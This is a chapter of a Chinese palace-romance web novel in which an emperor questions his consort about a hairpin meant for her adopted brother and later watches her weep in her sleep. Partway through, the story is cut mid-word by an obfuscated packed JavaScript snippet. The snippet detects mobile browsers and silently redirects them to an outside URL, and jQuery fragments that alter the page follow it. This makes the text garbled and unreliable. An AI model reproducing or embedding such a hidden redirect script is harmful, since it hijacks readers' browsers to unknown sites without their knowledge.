92. 第92章 睡不熟

作品:《拒皇妃

    “今日你赠了林夫人一枝素雅短簪,有什么讲究吗?”才松懈下来没几时的气氛又被他这状似不经意的一句打破,令柔错愕看他,不知他怎么知道这事,又是为什么要专门提起。


    前朝有个有趣的习俗,未长成的贵家子弟身上都揣个锦囊,里头装着家中各位女眷赠的各色饰品祈求顺利长成,本朝也沿袭。她娘今日来,玩笑似的跟她要了一件要转送给姜澄,那时她还满满的不可置信,不能接受自己爹娘真将别人家孩子当成是自己家孩子了。可想想自己的年纪,二十有二,已经不应当是趴在地上打滚耍赖的幼童了,更不应醋一个年幼孩子,何况自己没法子陪他们身边,还要霸着爹娘要他们孤独终老吗?


    于是挑了个方便携带的短簪递过去,可心里那点阴郁总挥不去,坐到一旁心里堵得难受。


    林玉婵看出女儿不高兴,稍猜一猜就知道这傻姑娘在想什么,凑到她跟前,指头轻柔地从她鬓角划到脸侧,爱怜道:“你是爹娘的女儿这不会变,但澄儿现也同家里感情不浅。虽说当年认养是被逼无奈之举,可现在木已成舟,澄儿已成了咱们家的人,就要方方面面都有家里人的待遇。娘本想着带他过来让你们见一面,可惜没成行,他是个孝顺好脾性的孩子,生得又清秀,你见了也会喜欢他、真心拿他当弟弟看待的。”


    令柔正回想着,右手手背上却传来一点细微的刺痛,将她思绪带回眼下,她低头一看,原来是没得到回应的赵彧正伸出两指在她手上摩梭,时不时揪住研磨一两下。


    她稍一犹豫,思索片刻后小心回答道:“家母相中了那一支,臣妾就也没顾及着宫中规矩,擅自允了外命妇将宫中制品拿走,请您恕罪。”堂堂皇帝,应当不会计较这小小一支簪吧?


    若没有他那次亲口说的“要有规矩,又不要一板一眼照着规矩来”,她是绝不会将东西直接送给她娘的!令柔叹气,暗道自己太松懈,谁知道皇帝说的规矩究竟是什么规矩,干脆全都照着做就是了,怎么能真信了他,怎么能真的按她揣度着的尺度做事?


    “呀!”这一下更疼,打断了令柔慌忙之下的胡思乱想。


    赵彧面无表情收回手,神色正经得很,就像方才趁人不备揪那一点的不是他一样。他拿眼角斜睨着人,语调里都带了些警示的意思:“你再好好想一想,是否真是如此。”


    不是这样还能是哪样?她没明白,看着皇帝的那熟悉的阴沉沉的脸才有点猜测:“说是要带回去给弟弟随身揣着,多少让我们姐弟之间有些联络。”


    赵彧这时候脸色才好看些,他最不喜欢听她说谎话,总是要恨不得将她一切都剖开来看个清楚。可这茬也没真的过去,他攥住她一截皓腕,带着点笑意说:“这就是问题了,你虽称他是弟弟,可到底算是外男,内外有别,怎么好将你的东西送给他?”


    令柔不明所以,反驳他:“那簪子名义上是臣妾的东西,可实际上并没戴过,又是一家姐弟,哪里像您说的那样起分别心呢。”


    哦?真的吗?赵彧不置可否,也不想同她再争执,只是想到这世上还有另一个男子,身上带着令柔的东西,他就难以控制地生出点不适。


    他直接从怀中探出一物,仅有一指长且细细一条,上头细致地缠了几瓣雕刻精细的梅,令柔一眼便认出来,这是她娘带走的那一支簪子!


    “林夫人出宫前,朕差人去给她换了一支新的,你的东西自己留好了,不许再送人。”


    令柔无话,只点点头示意晓得了。


    “姜澄为人,你知道多少?”


    经历了方才的教训,令柔答话更谨慎:“臣妾没见过,也从未同他有过书信往来,不过从家母口中也略知一二,听说是颇好读书,又孝顺恭敬。”


    赵彧点头:“你说得不错,朕派人在他身边待过些时日,发现确实是个可造之才,又是你弟弟,可以先送到宫中禁卫所那里历练两三年。”


    现今的禁卫所统领是皇后的亲二哥林崖,当年他还是皇子的时候就跟在他身边,登基后就得了重用。如今让姜澄也入职,似是要让他走林崖那时的路子。


    令柔忖着,不知他这是什么意思,不过这也容不得她接受或拒绝,在皇帝的命令前只有她谢恩的份儿。


    “阿若,你知不知朕这都是为了你。”赵彧难得低下头,将额头靠在她鼻尖上轻蹭,“给你爹一个爵位还不够,还要提拔他们儿子给他们养老。若姜澄成长起来,你家里三代都不发愁了。”


    “是,臣妾深知您用心良苦,才愿意考虑得如此深远。”可她爹娘求的本不是这个,也本不需要认一个孩子来传嗣的……


    赵彧又想起一事,笑问她:“从前你家想让你来招赘传嗣?这终究不是正道,遭外人议论不说,还要将你拘在家里。天底下哪还有像你家那样糊涂的人家,将女儿闷着做一辈子姑娘的,还是现在这般更稳妥。”


    令柔听得堵心,既不好顶嘴又不好说违心话,没规矩保准被罚,强行附和又会被他嫌弃是不用心,两头都不成,那还不如不要说话。


    皇帝今日兴致不错,宴席上也跟着喝了两杯,说话间也不加什么限制,稍微漫无边际了一些,此时见她垂头不语,一看就是不大高兴的样子,只好自己接着自己话说:“朕这是又说了什么不妥当的,惹你不痛快?”


    这一句里有点退让的意思,若不亲眼所见亲耳所闻,谁也不会相信是出自皇帝之口。被他这样说,令柔当然也不好再继续绷着脸,但也没法像从前那样做出笑脸,只是勉强将心里涌上来的落寞和不甘再咽下去。


    “臣妾不敢。您说的极是,妾也赞同,只是今日忙活了一天有些累了,反应不过来而已。”


    赵彧若有所思地点头,勉强接受了这个解释,看着时辰也确实该当就寝了,就也不缠着她聊天,放她沉沉睡去。


    殿内早早就点了灯,将屋里屋外都照得亮堂。平日里贵妃独眠是要将灯火全熄了的,陛下来了要她侍寝时会熄灭大半,留三五盏。


    他没有叫人来,亲自起身去熄,走了一圈回来就见她已阖上眼睛了。初


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15472549|163876||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    初看时她眼皮轻轻翻动,呼吸也不平稳,他还以为这是在装睡,细细观察一会儿才知她确实是睡了,只是睡得不够安稳。


    眼见她迟迟睡不熟,他就更无困意,坐到她身侧一边盯着,外间烛火透过帷幔纱帘映进来,在她脸上、身上打下一道道昏沉暗影。令柔双眼生得深邃,上翘的眼角处各有一个小小的眼窝,其中一个似是积蓄着什么,赵彧定睛去瞧,竟发现是一滴泪水盈在那处。


    他下意识就想出手去擦,伸到半空又停住。


    本就睡得不熟,若是他轻举妄动将她弄醒,那她这一整宿也难再睡着,可看着那滴泪留着,让他怎么也不舒服。他先在自己脸上试了试,发现用指肚去擦无论怎么放轻力气都会有所察觉,只好横起食指,用指侧轻轻拂去。


    幸而只流出这一滴,赵彧舒口气,若是流泪流了满脸,他可没法不把她弄醒。


    她为什么要哭?赵彧想不通,猜测着是否是今日宴上有不长眼的开罪了她,还是奴婢伺候得不周到,不过也可能是见了娘又离了娘让她不舍……


    怀疑了一轮也没清楚究竟是什么,他又开始笑自己多心。没准儿她这都不是流泪,只是困倦时眼睛自发流出的一点而已,偏让他这样挂心。


    他没什么好做,只是坐在她身边看她睡颜,静静看了少顷就来了睡意,迷糊着倚靠在床边就失了意识,再清醒竟是被她梦中的呓语叫醒,看到她眼皮湿红,浑身冒汗,心中慌乱不止,拿手贴靠在她额上确认过没发热才安心。见她还在小声呓语,凑过去细听,只听她口中不停哭叫着爹娘。


    眼看着按压不住,赵彧只好将她直接叫醒,温声问她:“你爹娘好好的,怎么忽然叫起他们了?”


    令柔本忐忑着不知自己说了什么要命的梦话,听说只是叫了爹娘才松一口气,怅然道:“梦见爹娘有了另一个孩儿,一家人其乐融融,根本没有过一个女儿。”白日里她断然不会说这话,可此时夜深人静,眼前唯有一人,她就也没限制着自己。


    这事情对她有这么大影响?赵彧皱眉:“朕下旨革了姜澄的爵位,令你爹与他断亲,将他赶回姜氏老家去!”


    “不可!”令柔赶紧制止解释:“臣妾不是要控诉,只是梦到了,又不是真事,您何苦拿现实中人撒气?家母这次来,还给臣妾看了些姜澄手书,信上对妾很是濡慕恭敬,确实是个文雅有礼的好孩子,有他陪着家中父母,臣妾在宫中也算安心。”


    “你无需担心这个,若是你不希望有这个弟弟,那就不必有。”他不担心姜晏夫妇是否孤单寂寞,只牵挂着令柔,不想她受旁人一丁点委屈。


    令柔叹口气,无奈解释:“他又不是头天才来家中,已来了五年了,家人间陪伴相处,感情也早就割舍不开。臣妾再幼稚无知,也不会嫉妒这个替妾尽孝多年的弟弟。请您照着原本的打算安排他,不要因为臣妾无根无源的虚妄梦境而改变主意。”


    她忐忑着看向皇帝,只见他面色隐隐发冷,眼神凝重,不知他有没有将她一番话听进去。